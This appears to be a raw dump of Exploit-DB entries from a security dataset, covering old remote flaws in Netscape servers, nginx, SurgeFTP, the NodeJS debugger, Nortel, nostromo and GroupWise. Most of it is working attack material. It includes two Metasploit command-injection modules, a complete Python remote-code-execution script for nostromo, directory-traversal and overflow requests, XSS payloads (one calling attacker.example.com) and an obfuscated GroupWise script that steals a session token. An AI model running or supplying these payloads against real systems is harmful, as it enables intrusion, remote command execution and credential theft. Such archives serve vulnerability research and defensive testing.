deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19443
Description: Netscape Enterprise Server 3.51/3.6 - JHTML View Source
Type: remote
Platform: multiple
Date: 1999-07-30
Author: David Litchfield

Exploit:
source: https://www.securityfocus.com/bid/559/info

Netscape Enterprise Server 3.51 and above includes a search engine by default. The results it generates can be tailored using various configuration files, and one of the options is whether or not the full text of a resultant page is displayed. This option is turned off by default. However, even with this setting in place, it is possible to construct a specific query that will return the full text of a JHTML page (active content, similar to an IIS .asp page) or other scripted files. 

These example URLs may be wrapped for readability: (copied verbatim from David Litchfield's post to Bugtraq)
h t t p://no-such-server/search?NS-search-page=results&NS-query=A&NS-collection=B&NS-tocrec-pat=/text/HTML-tocrec-demo1.pat
where A is the query e.g. the word "that" and B is the collection e.g. "Web+Publish" or "web_htm".
-OR-
h t t p://no-such-server/search?NS-search-page=document&NS-rel-doc-name=/path/to/indexed/file.jhtml&NS-query=URI!=''&NS-collection=A
where A is the collection without having to go through the rigmarole of playing around with HTML-tocrec-demo1.pat in the URL.
Exploit-DB #19493
Description: Netscape Enterprise Server 3.51/3.6 SP2 - Accept Buffer Overflow
Type: remote
Platform: multiple
Date: 1999-09-13
Author: Nobuo Miwa

Exploit:
source: https://www.securityfocus.com/bid/631/info

Enterprise Server 3.6 SP2 with the SSL Handshake Patch applied is vulnerable to a buffer overflow that may allow attackers to launch denial-of-service attacks and to execute arbitrary commands on the webserver. 

GET / HTTP/1.0
Accept: aaaaaaaaaaaaaa...2000byte/gif
Exploit-DB #22611
Description: Netscape Enterprise Server 3.x/4.x - PageServices Information Disclosure
Type: remote
Platform: multiple
Date: 1998-08-16
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/7621/info

A vulnerability has been reported for Netscape Enterprise Server. The problem is said to occur while processing HTTP queries containing the '?PageServices' URI parameter. After processing this query the affected server may disclose the contents of established web root, possibly including sub-directories. 


http://www.example.com/?PageServices
Exploit-DB #19363
Description: Netscape FastTrack Server 3.0.1 - Fasttrack Root Directory Listing
Type: remote
Platform: multiple
Date: 1999-06-07
Author: JesÃºs LÃ³pez de Aguileta

Exploit:
source: https://www.securityfocus.com/bid/481/info

Netscape's Fasttrack server is supposed to display a directory listing if the follwing three conditions are met:
1: Directory listing is enabled
2: No filename is specified in the requested URL
3: There is no index file in that directory (defaults are index.html and home.html)

However, even with an index file in the directory, if you telnet to the httpd port and type 'get/' you will get a directory listing of the root directory. 

Telnet to the httpd port and type 'get/' to get a root directory listing.
Exploit-DB #24137
Description: Netscape Navigator 7.1 - Embedded Image URI Obfuscation
Type: remote
Platform: multiple
Date: 2004-05-19
Author: Lyndon Durham

Exploit:
source: https://www.securityfocus.com/bid/10389/info

It is reported that Netscape Navigator is prone to a URI obfuscation weakness that may hide the true contents of a URI link. The issue occurs when an image is contained within a properly formatted HREF tag.

This weakness could be employed to trick a user into following a malicious link.

An attacker can exploit this issue by supplying a malicious image that appears to be a URI link pointing to a page designed to mimic that of a trusted site. If an unsuspecting victim is to mouseover the link in an attempt to verify the authenticity of where it references, they may be deceived into believing that the link references the actual trusted site. 

<A HREF=http://www.example.com alt="http://www.example.com">
<IMG SRC="malware.gif" USEMAP="#malware" border=0
alt="http://www.example.com"></A>
<map NAME="malware" alt="http://www.example.com">
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
alt="http://www.example.com">
</MAP>
Exploit-DB #23522
Description: NetWin SurgeFTP - (Authenticated) Admin Command Injection (Metasploit)
Type: remote
Platform: multiple
Date: 2012-12-20
Author: Spencer McIntyre

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SurgeFTP Remote Command Execution',
			'Description'    => %q{
				This module exploits a flaw in the SurgeFTP server's web-based
				administrative console to execute arbitary commands.
			},
			'Author'	=> 
				[
					'Spencer McIntyre',
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
				],
			'Arch'           => ARCH_CMD,
			'Platform'       => ['unix', 'win'],
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'Windows', { 'modifier' => "%s" }, ],
					[ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 06 2012'))
			
		register_options(
			[
				OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
			], self.class)

	end

	def exploit
		user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
		command = target['modifier'] % payload.encoded
		print_status("Invoking command")
		
		res = send_request_cgi(
		{
			'uri'     => '/cgi/surgeftpmgr.cgi',
			'method'  => 'POST',
			'headers' =>
				{
				'Authorization' => "Basic #{user_pass}",
				},
			'vars_post' =>
				{
					'global_smtp' => "",
					'global_restart' => "",
					'global_style' => "",
					'global_bind' => "",
					'global_passive_ip' => "",
					'global_passive_match' => "",
					'global_logon_mode' => "",
					'global_log_host' => "",
					'global_login_error' => "",
					'global_adminip' => "",
					'global_total_users' => "",
					'global_con_perip' => "",
					'global_ssl' => "",
					'global_ssl_cipher_list' => "",
					'global_implicit_port' => "",
					'log_level' => "",
					'log_home' => "",
					'global_watcher_program_ul' => "",
					'global_watcher_program_dl' => "",
					'authent_process' => command,
					'authent_cmdopts' => "",
					'authent_number' => "",
					'authent_domain' => "",
					'global_strip_user_domain' => "",
					'global_noclass' => "",
					'global_anon_hammer_over_time' => "",
					'global_anon_hammer_max' => "",
					'global_anon_hammer_block_time' => "",
					'global_port' => "",
					'global_mgr_port' => "",
					'global_mgr_ssl_port' => "",
					'cmd_global_save.x' => "36",
					'cmd_global_save.y' => "8",
				}
		})
		
		if not (res and res.code == 200)
			print_error("Failed to execute command")
		else
			print_status("Done")
		end
	end
end
Exploit-DB #26071
Description: NetworkActiv Web Server 1.0/2.0/3.0/3.5 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2005-08-04
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/14473/info

NetworkActiv Web Server is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com?">[code]
Exploit-DB #12804
Description: Nginx 0.6.36 - Directory Traversal
Type: remote
Platform: multiple
Date: 2010-05-30
Author: cp77fk4r

Exploit:
# Exploit Title: nginx [engine x] http server <= 0.6.36 Path Draversal
# Date: 20/05/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il
# Software Link: http://nginx.org/
# Version: <= 0.6.36
# Tested on: Win32
#
##[Path Traversal:]
A Path Traversal attack aims to access files and directories that are stored
outside the web root folder. By browsing the application, the attacker looks
for absolute links to files stored on the web server. By manipulating
variables that reference files with “dot-dot-slash (../)” sequences and its
variations, it may be possible to access arbitrary files and directories
stored on file system, including application source code, configuration and
critical system files, limited by system operational access control. The
attacker uses “../” sequences to move up to root directory, thus permitting
navigation through the file system. (OWASP)
#
http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini
#
#
[e0f]
Exploit-DB #9829
Description: Nginx 0.7.61 - WebDAV Directory Traversal
Type: remote
Platform: multiple
Date: 2009-09-23
Author: kingcope

Exploit:
Bug Title: nginx webdav copy/move method directory traversal
Program: nginx
Version: nginx/0.7.61 - other versions may also be affected
Website: http://sysoev.ru/nginx/
Severity: Low
Date discovered: 23 September 2009

The webdav component has to be enabled and the user has to have
permission to use the COPY or MOVE methods.

Description:
nginx ("Engine X", written by Igor Sysoev) has the ability to be used
as a webdav publishing server.
With webdav you can for example copy or move files from
one to a different location. The move and copy methods require a
"Destination:" HTTP header.
The destination header contains information about where the file
should be placed.
By using characters like "../" the attacker can traverse down the
directory tree and place files
outside the webroot. This is an insecure behaviour of the nginx webdav
module and can be
especially dangerous when nginx is used in a virtual hosting
environment. nginx runs as the
user nobody per default so normally this bug is not a big deal since
an attacker may only
be allowed to write files to /tmp/ or nobody owned directories. The
severity is low because
this attack requires webdav "upload" permissions.

Here is a sample request for the bug:

COPY /index.html HTTP/1.1
Host: localhost
Destination: http://localhost/../../../../../../../tmp/nginx.html

Thanks for your time,

Kingcope - kcope2@googlemail.com
Exploit-DB #33490
Description: Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection
Type: remote
Platform: multiple
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37711/info

The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects nginx 0.7.64; other versions may also be affected.

The following examples are available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload
Exploit-DB #38846
Description: Nginx 1.1.17 - URI Processing SecURIty Bypass
Type: remote
Platform: multiple
Date: 2013-11-19
Author: Ivan Fratric

Exploit:
source: https://www.securityfocus.com/bid/63814/info

nginx is prone to a remote security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions.

nginx 0.8.41 through 1.5.6 are vulnerable. 

The following example data is available:

/file \0.php
Exploit-DB #24387
Description: Nihuo Web Log Analyzer 1.6 - HTML Injection
Type: remote
Platform: multiple
Date: 2004-08-20
Author: Audun Larsen

Exploit:
source: https://www.securityfocus.com/bid/10988/info

An HTML injection vulnerability is reported in Nihuo Web Log Analyzer. The problem occurs due to a lack of proper sanitization of user-supplied input data.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

Version 1.6 was reported vulnerable to this issue. Other versions may also be affected. 

GET / HTTP/1.1
Host: www.example.com
Connection: close
Accept: text/plain
Accept-Language: en-us,en
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
User-Agent: Some-Fake-UA <img src='http://attacker.example.com/app.gif'>
Exploit-DB #42793
Description: NodeJS Debugger - Command Injection (Metasploit)
Type: remote
Platform: multiple
Date: 2017-09-26
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  MESSAGE_HEADER_TEMPLATE   = "Content-Length: %{length}\r\n\r\n"

  def initialize(info={})
    super(update_info(info,
      'Name'           => "NodeJS Debugger Command Injection",
      'Description'    => %q{
        This module uses the "evaluate" request type of the NodeJS V8
        debugger protocol (version 1) to evaluate arbitrary JS and
         call out to other system commands. The port (default 5858) is
        not exposed non-locally in default configurations, but may be
        exposed either intentionally or via misconfiguration.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
      'References'     =>
        [
          [ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
          [ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
        ],
      'Targets'        =>
        [
          ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 15 2016",
      'DefaultTarget'  => 0)
    )

    register_options(
      [
        Opt::RPORT(5858)
      ])
  end

  def make_eval_message
    msg_body = { seq: 1,
                 type: 'request',
                 command: 'evaluate',
                 arguments: { expression: payload.encoded,
                              global: true,
                              maxStringLength:-1
                            }
                }.to_json
    msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
    msg_header + msg_body
  end

  def check
    connect
    res = sock.get_once
    disconnect

    if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
      vprint_status("Got debugger handshake:\n#{res}")
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    connect
    # must consume incoming handshake before sending payload
    buf = sock.get_once
    msg = make_eval_message
    print_status("Sending #{msg.length} byte payload...")
    vprint_status("#{msg}")
    sock.put(msg)
    buf = sock.get_once

    if buf.include? '"command":"evaluate","success":true'
      print_status("Got success response")
    elsif buf.include? '"command":"evaluate","success":false'
      print_error("Got failure response: #{buf}")
    else
      print_error("Got unexpected response: #{buf}")
    end
  end

end
Exploit-DB #32996
Description: Nortel Contact Center Manager - Administration Password Disclosure
Type: remote
Platform: multiple
Date: 2009-05-14
Author: Bernhard Muller

Exploit:
source: https://www.securityfocus.com/bid/34964/info

Nortel Contact Center Manager Administration is prone to a password-disclosure vulnerability caused by a design error.

Attackers can exploit this issue to gain access to the 'sysadmin' password. Successfully exploiting this issue may lead to other attacks. 

POST /Common/WebServices/SOAPWrapperCommon/SOAPWrapperCommonWS.asmx
HTTP/1.1
Host: 10.1.2.3
Content-Type: text/xml; charset=utf-8
SOAPAction:
"http://www.example.com/SOAPWrapperCommon_UsersWS_GetServers_Wrapper"
Content-Length: 661

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SOAPWrapperCommon_UsersWS_GetServers_Wrapper
xmlns="http://SoapWrapperCommon.CCMA.Applications.Nortel.com">
      <ccmaUserName>string</ccmaUserName>
      <clientIP>string</clientIP>
      <componentID>string</componentID>
      <sessionID>string</sessionID>
      <strUserID>string</strUserID>
      <strPassword>string</strPassword>
    </SOAPWrapperCommon_UsersWS_GetServers_Wrapper>
  </soap:Body>
</soap:Envelope>
Exploit-DB #47837
Description: nostromo 1.9.6 - Remote Code Execution
Type: remote
Platform: multiple
Date: 2020-01-01
Author: Kr0ff

Exploit:
# Exploit Title: nostromo 1.9.6 - Remote Code Execution
# Date: 2019-12-31
# Exploit Author: Kr0ff
# Vendor Homepage:
# Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz
# Version: 1.9.6
# Tested on: Debian
# CVE : CVE-2019-16278

cve2019_16278.py

#!/usr/bin/env python

import sys
import socket

art = """

                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    



"""

help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'

def connect(soc):
    response = ""
    try:
        while True:
            connection = soc.recv(1024)
            if len(connection) == 0:
                break
            response += connection
    except:
        pass
    return response

def cve(target, port, cmd):
    soc = socket.socket()
    soc.connect((target, int(port)))
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    soc.send(payload)
    receive = connect(soc)
    print(receive)

if __name__ == "__main__":

    print(art)
    
    try:
        target = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]

        cve(target, port, cmd)
   
    except IndexError:
        print(help_menu)
Exploit-DB #33007
Description: Novell Groupwise 8.0 Webaccess - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2009-05-21
Author: Gregory Duchemin

Exploit:
source: https://www.securityfocus.com/bid/35066/info

Novell GroupWise WebAccess is prone to multiple security vulnerabilities.

An attacker may leverage these issues to bypass certain security restrictions or conduct cross-site scripting attacks.

Note that some of the issues may be related to BID 35061. We will update this BID as more information emerges.

Versions prior to WebAccess 7.03 HP3 and 8.0.0 HP2 are vulnerable.

Following harmless code uses an onload() event handler to bootstrap its payload as soon as the email
is open.
The first stage of this script extracts the session token (User.Context) from within the current
document&#039;s URI and used
to make up the second stage.
The second injects an iframe in the current page which in turn calls the signature configuration
interface and changes the user&#039;s signature on the fly.
This example uses a fake target, &#039;gwwa.victim.com&#039; that must be changed with a real server
addresss/name.
Here, the security parser won&#039;t recognize "onload = &#039;javascript:..." as potentially unsafe just
because of the space characters.

<!--
    <html>
    <head>
    </head>
        <body onmouseover = &#039;return false;&#039; onload = &#039;javascript:var
context=document.location.href;var token=context.replace(/^.+context=([a-z0-9]+).+$/i,"$1");
        var
malwareS1="%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%62%72%2F%3E%3C%62%72%2F%3E%4E%6F%77%20%63%68%65%63%6B%20%79%6F%75%72%20%73%69%67%6E%61%74%75%72%65%20%2E%2E%2E%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%77%77%61%2E%76%69%63%74%69%6D%2E%63%6F%6D%2F%67%77%2F%77%65%62%61%63%63%3F%55%73%65%72%2E%63%6F%6E%74%65%78%74%3D";
        var
malwareS2="%26%61%63%74%69%6F%6E%3D%53%69%67%6E%61%74%75%72%65%2E%4D%6F%64%69%66%79%26%6D%65%72%67%65%3D%73%69%67%6E%61%74%75%72%26%53%69%67%6E%61%74%75%72%65%2E%69%73%45%6E%61%62%6C%65%64%3D%65%6E%61%62%6C%65%64%26%53%69%67%6E%61%74%75%72%65%2E%69%73%41%75%74%6F%6D%61%74%69%63%3D%61%75%74%6F%6D%61%74%69%63%26%53%69%67%6E%61%74%75%72%65%2E%73%69%67%6E%61%74%75%72%65%3D%25%32%30%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%25%30%64%25%30%61%25%30%64%25%30%61%30%77%6E%65%64%2E%22%20%77%69%64%74%68%3D%30%70%78%20%68%65%69%67%68%74%3D%30%70%78%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E";
        document.write(unescape(malwareS1)+token+unescape(malwareS2));return false;&#039;>
            <br/>
            <br/><br/>Now check your signature ...
        </body>
    </html>
-->